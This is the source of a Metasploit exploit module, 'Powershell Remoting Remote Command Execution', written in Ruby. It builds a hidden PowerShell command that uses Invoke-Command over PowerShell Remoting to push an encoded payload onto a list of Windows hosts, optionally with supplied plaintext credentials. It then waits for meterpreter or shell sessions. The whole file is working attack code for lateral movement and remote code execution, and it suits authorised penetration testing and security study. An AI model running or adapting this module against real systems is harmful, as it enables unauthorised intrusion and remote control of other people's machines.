## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'Powershell Remoting Remote Command Execution', 'Description' => %q{ Uses Powershell Remoting (TCP 47001) to inject payloads on target machines. If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise use a HOSTFILE to supply a list of known hostnames. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell' ], 'References' => [ [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) [ 'OSVDB', '3106'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'DisclosureDate' => 'Jan 01 1999', 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] ], 'DefaultTarget' => 0 )) register_options([ OptString.new('SMBUser', [ false, 'The username to authenticate as' ]), OptString.new('SMBPass', [ false, 'The password for the specified username' ]), OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]), OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]), OptPath.new('HOSTFILE', [ false, 'Line separated file with hostnames to target' ]), # Move this out of advanced OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), OptBool.new("ExitOnSession", [ true, "Return from the exploit after a session has been created", false ]) ]) register_advanced_options( [ OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 60]) ], self.class) end def exploit if !datastore['ExitOnSession'] && !job_id fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)") end unless datastore['RHOSTS'] || datastore['HOSTFILE'] fail_with(Failure::BadConfig, "Need RHOSTS or HOSTFILE specified.") end if datastore['SMBUser'] && datastore['SMBPass'].nil? fail_with(Failure::BadConfig, "Need both username and password set.") end if datastore['RHOSTS'] ip_list = "$iplist=" Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |ip| ip_list << "'#{ip}'," end # Remove trailing comma... ip_list = ip_list[0..-2] ip_list << ";" end known_hosts = "" if datastore['HOSTFILE'] ::File.open(datastore['HOSTFILE'], "rb").each_line do |hostname| hostname.strip! known_hosts << "'#{hostname}'," unless hostname.blank? end known_hosts = known_hosts[0..-2] end command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) ps = <<EOF #{generate_credentials} $ResultList=@(#{known_hosts}); #{ip_list} foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName}; Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { cmd.exe /c start #{command} } EOF if datastore['SMBUser'] ps << " -Credential $creds" end # If the host process terminates too quickly the jobs will die # before they spawn in a new process. ps << ";Sleep 20;" ps.gsub!("\n", "") command = generate_psh_command_line( noprofile: true, windowstyle: 'hidden', command: ps ) print_status("Executing command...") begin cmd_exec(command) rescue Rex::TimeoutError end stime = Time.now.to_f loop do break if session_created? && datastore['ExitOnSession'] break if datastore['ListenerTimeout'].to_i > 0 && (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) Rex.sleep(1) end print_status("Completed") end def generate_credentials(domain = datastore['SMBDomain'], user = datastore['SMBUser'], pass = datastore['SMBPass']) creds = "" unless user.nil? creds = "$pass=ConvertTo-SecureString -string '#{pass}' -asPlainText -force;"\ "$creds=new-object -typename System.Management.Automation.PSCredential -argumentlist " if domain.nil? creds << "'#{user}'" else creds << "'#{domain}\\#{user}'" end creds << ",$pass;" end creds end end